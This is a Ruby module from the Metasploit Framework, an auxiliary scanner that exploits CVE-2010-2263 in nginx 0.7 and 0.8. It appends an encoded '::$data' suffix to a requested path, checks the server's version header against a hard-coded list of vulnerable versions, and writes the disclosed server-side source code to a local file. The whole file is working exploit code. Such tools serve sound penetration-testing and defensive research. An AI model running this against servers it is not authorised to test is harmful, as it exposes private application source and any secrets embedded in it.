metasploit-framework/modules/auxiliary/scanner/http/nginx_source_disclosure.rb

110 lines
3.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Nginx Source Code Disclosure/Download',
'Description' => %q{
This module exploits a source code disclosure/download vulnerability in
versions 0.7 and 0.8 of the nginx web server. Versions 0.7.66 and 0.8.40
correct this vulnerability.
},
'References' =>
[
[ 'CVE', '2010-2263' ],
[ 'OSVDB', '65531' ],
[ 'BID', '40760' ],
[ 'EDB', '13818' ],
[ 'EDB', '13822' ]
],
'Author' =>
[
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
],
'License' => MSF_LICENSE)
register_options(
[
OptString.new('TARGETURI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
], self.class)
end
def run_host(ip)
uri = normalize_uri(target_uri.path)
path_save = datastore['PATH_SAVE']
vuln_versions = [
# 0.7
"nginx/0.7.56","nginx/0.7.58","nginx/0.7.59",
"nginx/0.7.60","nginx/0.7.61","nginx/0.7.62",
"nginx/0.7.63","nginx/0.7.64","nginx/0.7.65",
# 0.8
"nginx/0.8.33","nginx/0.8.34","nginx/0.8.35",
"nginx/0.8.36","nginx/0.8.37","nginx/0.8.38",
"nginx/0.8.39"
]
get_source = Rex::Text.uri_encode("::$data")
begin
res = send_request_raw(
{
'method' => 'GET',
'uri' => "#{uri}#{get_source}",
}, 25)
if res.nil?
print_error("#{full_uri} - nginx - Connection timed out")
return
else
version = res.headers['Server']
http_fingerprint({ :response => res })
end
if vuln_versions.include?(version)
print_good("#{full_uri} - nginx - Vulnerable version: #{version}")
if (res and res.code == 200)
print_good("#{full_uri} - nginx - Getting the source of page #{uri}")
save_source = File.new("#{path_save}#{uri}","w")
save_source.puts(res.body.to_s)
save_source.close
print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
else
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
return
end
else
if version =~ /nginx/
print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}")
else
print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not ngnix")
end
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end